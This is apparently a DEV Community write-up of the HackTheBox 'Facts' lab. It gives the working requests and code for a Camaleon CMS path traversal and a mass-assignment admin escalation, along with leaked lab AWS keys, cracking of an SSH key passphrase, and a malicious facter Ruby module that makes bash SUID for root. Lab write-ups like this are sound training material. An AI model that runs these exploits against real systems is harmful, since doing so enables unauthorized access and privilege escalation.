DEV Community

Cover image for HackTheBox - Facts Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox - Facts Writeup

Difficulty: Easy
OS: Linux


Reconnaissance

Nmap

nmap -sCV -A -p- <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open  http    nginx 1.26.3 (Ubuntu)
Enter fullscreen mode Exit fullscreen mode

Two open ports — SSH and nginx on port 80.

/etc/hosts

echo "<MACHINE-IP> facts.htb" >> /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Web Enumeration

Visiting port 80 presents a Camaleon CMS trivia site. The /admin path redirects to /admin/login, which has self-registration enabled.

feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirb/big.txt -d 3 -C 403,404
Enter fullscreen mode Exit fullscreen mode
302  http://facts.htb/admin  =>  http://facts.htb/admin/login
200  http://facts.htb/ajax
Enter fullscreen mode Exit fullscreen mode

Navigating to /admin/login and clicking "Create an account" creates a working low-privilege CMS account. After logging in, the footer reveals Camaleon CMS Version 2.9.0.


Initial Access — LFI via CVE-2024-46987

Camaleon CMS < 2.9.1 is vulnerable to a path traversal in the download_private_file media endpoint. Any authenticated user, regardless of role, can read arbitrary files from the server filesystem.

GET http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd
Enter fullscreen mode Exit fullscreen mode

This returns the contents of /etc/passwd, confirming arbitrary file read. Relevant system users:

root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Foothold — CMS Admin via CVE-2025-2304 (Mass Assignment)

Camaleon CMS < 2.9.1 is also vulnerable to mass assignment in the updated_ajax password-change endpoint. The controller uses Rails' dangerous permit! method which allows all parameters through without any filtering — including role.

Injecting password[role]=admin into the password change POST request escalates a low-privilege account to full CMS admin.

Exploit script (exploit.py):

update_data = {
    "_method": "patch",
    "authenticity_token": auth_token,
    "password[password]": password,
    "password[password_confirmation]": password,
    "password[role]": "admin",
}
session.post(submit_url, data=update_data)
Enter fullscreen mode Exit fullscreen mode

Running the exploit:

python3 exploit.py -t http://facts.htb -u test -p test
Enter fullscreen mode Exit fullscreen mode
[+] Login successful
[+] Got profile page
[i] Version 2.9.0 — appears vulnerable (< 2.9.1)
[+] Got CSRF token: E9u8O-QxqReFdXp6FbaD...
[*] Sending privilege escalation request to http://facts.htb/admin/users/5/updated_ajax ...
[+] Done! Role should now be 'admin' — try refreshing your session.
Enter fullscreen mode Exit fullscreen mode

After refreshing the session, the full admin navigation is available including Settings, Users, Plugins, and Appearance.


AWS S3 Credential Leak

Navigating to Settings → General Site → Filesystem Settings exposes AWS S3 credentials stored in plaintext in the CMS configuration:

AWS Access Key ID:      AKIA604F64A80C48D2DF
AWS Secret Access Key:  /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
Bucket Name:            randomfacts
Region:                 us-east-1
Endpoint:               http://localhost:54321
Enter fullscreen mode Exit fullscreen mode

The endpoint points to a LocalStack instance running locally on the target. Since port 54321 is bound to localhost on the box, it is accessed via facts.htb:54321 after adding the host entry. Configuring the AWS CLI with the leaked credentials:

aws configure
# AWS Access Key ID: AKIA604F64A80C48D2DF
# AWS Secret Access Key: /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
# Default region name: us-east-1
# Default output format: json
Enter fullscreen mode Exit fullscreen mode

Listing all buckets:

aws --endpoint-url http://facts.htb:54321 s3 ls
Enter fullscreen mode Exit fullscreen mode
2025-09-11  internal
2025-09-11  randomfacts
Enter fullscreen mode Exit fullscreen mode

A non-public internal bucket exists alongside the expected randomfacts bucket. Listing it recursively:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --recursive
Enter fullscreen mode Exit fullscreen mode
2026-06-10  .ssh/authorized_keys
2026-06-10  .ssh/id_ed25519
Enter fullscreen mode Exit fullscreen mode

An SSH private key is present. Downloading it:

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519
Enter fullscreen mode Exit fullscreen mode

SSH — Cracking the Key Passphrase

Attempting to use the key immediately prompts for a passphrase, confirming it is encrypted:

ssh-keygen -y -f id_ed25519
# Enter passphrase for "id_ed25519":
Enter fullscreen mode Exit fullscreen mode

Converting to john format and cracking against rockyou:

ssh2john id_ed25519 > hash.john
john hash.john --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
dragonballz      (id_ed25519)
1g 0:00:02:42 DONE
Enter fullscreen mode Exit fullscreen mode

Passphrase cracked: dragonballz

Connecting as trivia (identified earlier via the LFI on /etc/passwd):

ssh -i id_ed25519 trivia@<MACHINE-IP>
# Enter passphrase for key 'id_ed25519': dragonballz
Enter fullscreen mode Exit fullscreen mode
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
Enter fullscreen mode Exit fullscreen mode

User Flag

trivia@facts:~$ cat /home/william/user.txt
Enter fullscreen mode Exit fullscreen mode
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation to Root — Facter Custom Module

Checking sudo permissions for the current user:

sudo -l
Enter fullscreen mode Exit fullscreen mode
User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
Enter fullscreen mode Exit fullscreen mode

facter is a Puppet system facts tool that supports loading custom Ruby fact modules via the --custom-dir flag. Running it under sudo with a controlled directory allows arbitrary Ruby execution as root.

Creating a malicious fact module that sets the SUID bit on /usr/bin/bash:

echo 'Facter.add("evil") {setcode { `chmod +s /usr/bin/bash` } }' > evil.rb
Enter fullscreen mode Exit fullscreen mode

Running facter with the custom module:

sudo /usr/bin/facter --custom-dir ~ evil
Enter fullscreen mode Exit fullscreen mode

Verifying the SUID bit was set:

ls -la /usr/bin/bash
# -rwsr-sr-x 1 root root ... /usr/bin/bash
Enter fullscreen mode Exit fullscreen mode

Spawning a root shell with bash's -p flag (preserve effective UID):

bash -p
Enter fullscreen mode Exit fullscreen mode
bash-5.2# whoami
root
Enter fullscreen mode Exit fullscreen mode

Root Flag

bash-5.2# cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Credentials Summary

User Credential Source
trivia (CMS) test / test Self-registration
trivia (SSH) id_ed25519 / dragonballz Internal S3 bucket + john
root facter sudo SUID trick

Key Vulnerabilities

# Vulnerability Impact
1 CVE-2024-46987 — Camaleon CMS path traversal in download_private_file Arbitrary file read as web user
2 CVE-2025-2304 — Camaleon CMS mass assignment via permit! in updated_ajax Role escalation to CMS admin
3 AWS S3 credentials exposed in CMS filesystem settings Access to internal LocalStack bucket
4 SSH private key stored in internal S3 bucket with weak passphrase Shell as trivia
5 sudo /usr/bin/facter --custom-dir (NOPASSWD) with controllable Ruby Root via SUID bash

Attack Chain

Self-Registration → Low-Privilege CMS Account
  → CVE-2024-46987 LFI → /etc/passwd (user enumeration)
    → CVE-2025-2304 Mass Assignment → CMS Admin Role
      → Settings Panel → AWS S3 Credentials (plaintext)
        → LocalStack S3 → internal bucket → id_ed25519
          → john + rockyou → passphrase: dragonballz
            → SSH as trivia
              → sudo facter --custom-dir (NOPASSWD)
                → Custom Ruby Fact → chmod +s /usr/bin/bash
                  → bash -p → root
Enter fullscreen mode Exit fullscreen mode

Top comments (0)